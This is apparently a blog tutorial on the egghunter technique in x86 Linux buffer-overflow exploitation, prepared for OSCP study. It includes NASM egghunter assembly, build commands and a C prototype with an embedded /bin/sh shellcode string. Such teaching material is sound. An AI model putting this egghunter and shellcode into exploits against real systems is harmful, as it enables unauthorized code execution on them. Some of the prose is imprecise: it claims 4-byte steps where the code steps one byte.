This is a topic of binary exploitation and syllabus of pwk-oscp. Egghuner is a method in which an attacker can execute the shellcode in the binary in less space. Think of this scenario, You have successfully exploited a buffer overflow in a binary, now you see that stack execution policy is disabled or DEP is disabled. The attack vector could be the insertion of shellcode and execute it in order to get the command execution. But what if we don’t have enough space in the stack for the shellcode. you know, the smallest shellcode (executing /bin/sh) for the x86 Linux platform that I use is 28 bytes. then the scenario might change a little, now you may wanna search for something in the memory with ASLR enabled.

In both of these scenarios, you can use egghunter. hunter assembly code looks like this:

global _start

_align:
    or cx, 0xfff      ; page alignment

_start:
  inc ecx             ; increment ecx of 1
  push byte +0x43     ; syscall sigaction 67
  pop eax             ; pop first value in the stack into eax
  int 0x80            ; execute syscall
  cmp al, 0xf2        ; verify if the return value is EFAULT
  jz _align           ; jump if ZF flag is set
  mov eax, 0x50905090 ; key
  mov edi, ecx        ; store ecx in edi
  scasd               ; compare content memory in edi to dword value in eax (the key)
  jnz _start          ; jump if ZF flag not set
  scasd               ; running twice to past the start of the egg
  jnz _start          ; jump if ZF flag it not set
  jmp edi             ; jump in edi

There is a simple logic behind an egghunter shellcode, the way it finds the shellcode. Actually, it starts looking from the memory location of the program and finds the content inside that memory. now, there may occur an error while accessing that memory address or maybe egg hunter finds that memory address. If the memory address is not valid, it will generate an EFAULT signal which basically tells the system to raise the segfault error. you must have also seen segfault before while exploiting a buffer overflow, where you would have overwritten the return pointer with an invalid memory address (0x41414141), and that means when the program wants instruction on the return pointer, it is finding that there is no such memory address. And it causes the segfault.

if it is a valid memory address, it compares the egg/key given in egghunter shellcode, if the condition is true then it checks the next memory address to be sure that it didn’t find the memory address where the egghunter shellcode is written (itself). so, in our case, we have defined the key to be 0x50905090 then the egghunter should look for the 0x50905090 at memory address and then another 0x50905090 at memory address+1.

You can even compile the code of egghunter using nasm

nasm -f elf32 shellcode.nasm -o shellcode.o

The `;` is for comment in the NASM and _start is a symbol that holds the instructions that will be executed. we can view the object code using objdump.

objdump -d ./shellcode.o
ld -m elf_i386 -s -o test ./shellcode.o

Now use gdb to see how it actually works. By the way, there is no label to memory in which we have defined our key, so it won’t find anything.

And you can also understand the C prototype of egghunter

#include <errno.h>
#include <stdio.h>
#include <unistd.h>

int main()
{
        char egg[4] = "DEAD";
        char buffer[1024] = "DEADDEAD\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";
        unsigned long addr = 0x0;
        int r;

        while (1) {
                // Try to read 8 bytes ahead of current memory pointer (8 bytes because the egg will be repeated twice)
                r = access(addr+8, 0);
                // If we don't get an EFAULT, we'll start checking for the egg
                if (errno != 14) {
                        // Need to check egg twice, so we don't end up matching the egg from our own code
                        if (strncmp(addr, egg, 4) == 0 && strncmp(addr+4, egg, 4) == 0) {
                                char tmp[32];
                                memset(tmp, 0, 32);
                                strncpy(tmp, addr, 8);
                                printf("Egg found at: %ul %s, jumping to shellcode (8 bytes ahead of egg address)...\n", addr, tmp);
                                // Jump to shellcode
                                int (*ret)() = (int(*)())addr+8;
                                ret();
                        }
                        // Egg not found, keep going one byte at a time
                        addr++;
        } else {
                        // EFAULT on access, skip to next memory page
                        addr = addr + 4095;
                }
        }
}

In this code, we are accessing the memory using access syscall and also incrementing the address by 4 bytes. The key egghunter needs to find is DEAD. we have checked the address and address+4 to be confirmed that the key is not from the egghunter itself. The ret pointer is filled with the memory address of the shellcode once the condition is true and then we have called ret(), which will execute the shellcode.

LEAVE A REPLY

Please enter your comment!
Please enter your name here